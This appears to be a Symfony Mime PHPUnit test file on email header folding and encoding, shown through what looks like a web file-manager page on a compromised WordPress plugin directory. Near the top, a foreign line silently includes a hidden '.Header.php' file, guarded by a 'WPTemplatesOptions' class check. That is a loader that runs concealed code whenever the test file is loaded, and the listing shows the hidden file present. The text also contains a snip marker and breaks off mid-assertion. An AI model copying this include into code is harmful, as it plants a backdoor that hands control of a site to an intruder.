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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / vendor / symfony / mime / Tests / Header

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mime\Tests\Header;

use PHPUnit\Framework\TestCase;
use Symfony\Component\Mime\Header\UnstructuredHeader;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class UnstructuredHeaderTest extends TestCase
{
    private $charset = 'utf-8';

public function testGetNameReturnsNameVerbatim()
    {
        $header = new UnstructuredHeader('Subject', '');
        $this->assertEquals('Subject', $header->getName());
    }

public function testGetValueReturnsValueVerbatim()
    {
        $header = new UnstructuredHeader('Subject', 'Test');
        $this->assertEquals('Test', $header->getValue());
    }

public function testBasicStructureIsKeyValuePair()
    {
        /* -- RFC 2822, 2.2
        Header fields are lines composed of a field name, followed by a colon
        (":"), followed by a field body, and terminated by CRLF.
        */
        $header = new UnstructuredHeader('Subject', 'Test');
        $this->assertEquals('Subject: Test', $header->toString());
    }

public function testLongHeadersAreFoldedAtWordBoundary()
    {
        /* -- RFC 2822, 2.2.3
        Each header field is logically a single line of characters comprising
        the field name, the colon, and the field body.  For convenience
        however, and to deal with the 998/78 character limitations per line,
        the field body portion of a header field can be split into a multiple
        line representation; this is called "folding".  The general rule is
        that wherever this standard allows for folding white space (not
        simply WSP characters), a CRLF may be inserted before any WSP.
        */

$value = 'The quick brown fox jumped over the fence, he was a very very '.
            'scary brown fox with a bushy tail';
        $header = new UnstructuredHeader('X-Custom-Header', $value);
        /*
            X-Custom-Header: The quick brown fox jumped over the fence, he was a very very
            scary brown fox with a bushy tail
        */
        $this->assertEquals(
            'X-Custom-Header: The quick brown fox jumped over the fence, he was a'.
            ' very'."\r\n".//Folding
            ' very scary brown fox with a bushy tail',
            $header->toString(), '%s: The header should have been folded at 76th char'
        );
    }

public function testPrintableAsciiOnlyAppearsInHeaders()
    {
        /* -- RFC 2822, 2.2.
        A field name MUST be composed of printable US-ASCII characters (i.e.,
        characters that have values between 33 and 126, inclusive), except
        colon.  A field body may be composed of any US-ASCII characters,
        except for CR and LF.
        */

$nonAsciiChar = pack('C', 0x8F);
        $header = new UnstructuredHeader('X-Test', $nonAsciiChar);
        $this->assertRegExp('~^[^:\x00-\x20\x80-\xFF]+: [^\x80-\xFF\r\n]+$~s', $header->toString());
    }

public function testEncodedWordsFollowGeneralStructure()
    {
        /* -- RFC 2047, 1.
        Generally, an "encoded-word" is a sequence of printable ASCII
        characters that begins with "=?", ends with "?=", and has two "?"s in
        between.
        */

$nonAsciiChar = pack('C', 0x8F);
        $header = new UnstructuredHeader('X-Test', $nonAsciiChar);
        $this->assertRegExp('~^X-Test: \=?.*?\?.*?\?.*?\?=$~s', $header->toString());
    }

public function testEncodedWordIncludesCharsetAndEncodingMethodAndText()
    {
        /* -- RFC 2047, 2.
        An 'encoded-word' is defined by the following ABNF grammar.  The
        notation of RFC 822 is used, with the exception that white space
        characters MUST NOT appear between components of an 'encoded-word'.

encoded-word = "=?" charset "?" encoding "?" encoded-text "?="
        */

$nonAsciiChar = pack('C', 0x8F);
        $header = new UnstructuredHeader('X-Test', $nonAsciiChar);
        $header->setCharset('iso-8859-1');
        $this->assertEquals('X-Test: =?'.$header->getCharset().'?Q?=8F?=', $header->toString());
    }

public function testEncodedWordsAreUsedToEncodedNonPrintableAscii()
    {
        // SPACE and TAB permitted
        $nonPrintableBytes = array_merge(range(0x00, 0x08), range(0x10, 0x19), [0x7F]);
        foreach ($nonPrintableBytes as $byte) {
            $char = pack('C', $byte);
            $encodedChar = sprintf('=%02X', $byte);
            $header = new UnstructuredHeader('X-A', $char);
            $header->setCharset('iso-8859-1');
            $this->assertEquals('X-A: =?'.$header->getCharset().'?Q?'.$encodedChar.'?=', $header->toString(), 'Non-printable ascii should be encoded');
        }
    }

public function testEncodedWordsAreUsedToEncode8BitOctets()
    {
        foreach (range(0x80, 0xFF) as $byte) {
            $char = pack('C', $byte);
            $encodedChar = sprintf('=%02X', $byte);
            $header = new UnstructuredHeader('X-A', $char);
            $header->setCharset('iso-8859-1');
            $this->assertEquals('X-A: =?'.$header->getCharset().'?Q?'.$encodedChar.'?=', $header->toString(), '8-bit octets should be encoded');
        }
    }

public function testEncodedWordsAreNoMoreThan75CharsPerLine()
    {
        /* -- RFC 2047, 2.
        An 'encoded-word' may not be more than 75 characters long, including
        'charset', 'encoding', 'encoded-text', and delimiters.

... SNIP ...

While there is no limit to the length of a multiple-line header
        field, each line of a header field that contains one or more
        'encoded-word's is limited to 76 characters.
        */

$nonAsciiChar = pack('C', 0x8F);

//Note that multi-line headers begin with LWSP which makes 75 + 1 = 76
        //Note also that =?utf-8?q??= is 12 chars which makes 75 - 12 = 63

//* X-Test: is 8 chars
        $header = new UnstructuredHeader('X-Test', $nonAsciiChar);
        $header->setCharset('iso-8859-1');
        $this->assertEquals('X-Test: =?'.$header->getCharset().'?Q?=8F?=', $header->toString());
    }

public function testFWSPIsUsedWhenEncoderReturnsMultipleLines()
    {
        /* --RFC 2047, 2.
        If it is desirable to encode more text than will fit in an 'encoded-word' of
        75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may
        be used.
        */

// Note that multi-line headers begin with LWSP which makes 75 + 1 = 76
        // Note also that =?utf-8?q??= is 12 chars which makes 75 - 12 = 63

//* X-Test: is 8 chars
        $header = new UnstructuredHeader('X-Test', pack('C', 0x8F).'line_one_here'."\r\n".'line_two_here');
        $header->setCharset('iso-8859-1');
        $this->assertEquals('X-Test: =?'.$header->getCharset().'?Q?=8Fline=5Fone=5Fhere?='."\r\n".' =?'.$header->getCharset().'?Q?line=5Ftwo=5Fhere?=', $header->toString());
    }

public function testAdjacentWordsAreEncodedTogether()
    {
        /* -- RFC 2047, 5 (1)
         Ordinary ASCII text and 'encoded-word's may appear together in the
        same header field.  However, an 'encoded-word' that appears in a
        header field defined as '*text' MUST be separated from any adjacent
        'encoded-word' or 'text' by 'linear-white-space'.

-- RFC 2047, 2.
         IMPORTANT: 'encoded-word's are designed to be recognized as 'atom's
        by an RFC 822 parser.  As a consequence, unencoded white space
        characters (such as SPACE and HTAB) are FORBIDDEN within an
        'encoded-word'.
        */

// It would be valid to encode all words needed, however it's probably
        // easiest to encode the longest amount required at a time

$word = 'w'.pack('C', 0x8F).'rd';
        $text = 'start '.$word.' '.$word.' then '.$word;
        // 'start', ' word word', ' and end', ' word'

$header = new UnstructuredHeader('X-Test', $text);
        $header->setCharset('iso-8859-1');
        $this->assertEquals('X-Test: start =?'.$header->getCharset().'?Q?'.
            'w=8F

[+] ..
[-] IdentificationHeaderTest.php [edit]
[-] PathHeaderTest.php [edit]
[-] MailboxListHeaderTest.php [edit]
[-] DateHeaderTest.php [edit]
[-] ParameterizedHeaderTest.php [edit]
[-] .Header.php [edit]
[-] MailboxHeaderTest.php [edit]
[-] UnstructuredHeaderTest.php [edit]
[-] HeadersTest.php [edit]